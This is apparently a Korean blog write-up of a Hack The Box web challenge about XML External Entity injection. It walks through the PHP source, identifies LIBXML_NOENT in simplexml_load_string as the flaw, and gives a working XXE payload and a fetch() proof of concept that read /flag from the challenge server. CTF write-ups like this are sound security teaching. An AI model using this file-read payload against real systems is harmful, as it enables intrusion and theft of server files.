티스토리 뷰
728x90
반응형
문제 개요
XML External Entity Injection
문제 풀이
Dockerfile 보면 flag 파일의 위치를 나태내고 있음을 확인할 수 있습니다.
RUN apk add --no-cache --update php7-fpm php7-xml php7-simplexml php7-json
# 생략
COPY flag /flag
그리고 php7-xml, php7-simplexml, php7-json dependency 가 설치하는 것으로 보아서 xml 또는 json 관련 라이브러리를 사용하는 것으로 보입니다.
index.php 에 보면 기능이 GET 과 POST 로 두 가지가 있음을 알 수 있습니다. 특히 /api/order 경로에 매핑되어 있는 Controller 인 OrderController@order 가 중요해보입니다.
<?php
spl_autoload_register(function ($name){
if (preg_match('/Controller$/', $name))
{
$name = "controllers/${name}";
}
include_once "${name}.php";
});
$router = new Router();
$router->new('GET', '/', fn($router) => $router->view('menu'));
$router->new('POST', '/api/order', 'OrderController@order');
die($router->match());
그래서 OrderController.php 파일의 내용을 보면 아래와 같습니다.
<?php
class OrderController
{
public function order($router)
{
$body = file_get_contents('php://input');
if ($_SERVER['HTTP_CONTENT_TYPE'] === 'application/json')
{
$order = json_decode($body);
if (!$order->food)
return json_encode([
'status' => 'danger',
'message' => 'You need to select a food option first'
]);
return json_encode([
'status' => 'success',
'message' => "Your {$order->food} order has been submitted successfully."
]);
}
else if ($_SERVER['HTTP_CONTENT_TYPE'] === 'application/xml')
{
$order = simplexml_load_string($body, 'SimpleXMLElement', LIBXML_NOENT);
if (!$order->food) return 'You need to select a food option first';
return "Your {$order->food} order has been submitted successfully.";
}
else
{
return $router->abort(400);
}
}
}
보니깐 HTTP content-type 이 두 가지 종류에 대한 요청을 별도로 처리하고 있습니다. application/xml 로 요청이 들어왔을 때는 simplexml_load_string 함수에 LIBXML_NOENT 옵션이 주어져 ENTITY Reference (e.g., &ent;) 를 모두 실행 결과로 대체해버리게 됩니다. 따라서 XML 의 외부 엔티티를 이용한 XXE Injection 공격이 가능하게 됩니다.
그렇기 때문에 아래와 같은 XXE 페이로드가 실행되게 되면 루트 경로에 있는 flag 파일을 읽어들여 food entity 에 결과 값을 삽입하여 반환해주게 됩니다.
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///flag"> ]>
<document>
<food>&ent;</food>
</document>
PoC
fetch("http://167.172.60.97:31867/api/order", {
"headers": {
"accept": "*/*",
"accept-language": "ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7",
"cache-control": "no-cache",
"content-type": "application/xml",
"pragma": "no-cache"
},
"referrer": "http://167.172.60.97:31867/",
"referrerPolicy": "strict-origin-when-cross-origin",
"body": `<!--?xml version="1.0" ?--><!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///flag"> ]><document><food>&ent;</food></document>`,
"method": "POST",
"mode": "cors",
"credentials": "omit"
}).then(async function(res){console.log(await res.text())});
위 코드를 실행하면 아래와 같이 Flag가 출력되는 것을 볼 수 있습니다.
- 끝 -
728x90
반응형
'보안 > Wargame' 카테고리의 다른 글
[dreamhack] [web] easyxss 문제풀이(비밀번호:FLAG) (5) | 2022.03.19 |
---|---|
[Hackthebox] - baby todo or not todo Writeup(문제풀이) (0) | 2022.03.15 |
[Hackthebox] - baby nginxatsu Writeup(문제풀이) (0) | 2022.03.11 |
[Hackthebox] - ExpressionalRebel Writeup(문제풀이) (0) | 2022.02.12 |
[dreamhack] [web] Carve Party 문제풀이(비밀번호:FLAG) (0) | 2022.02.07 |
댓글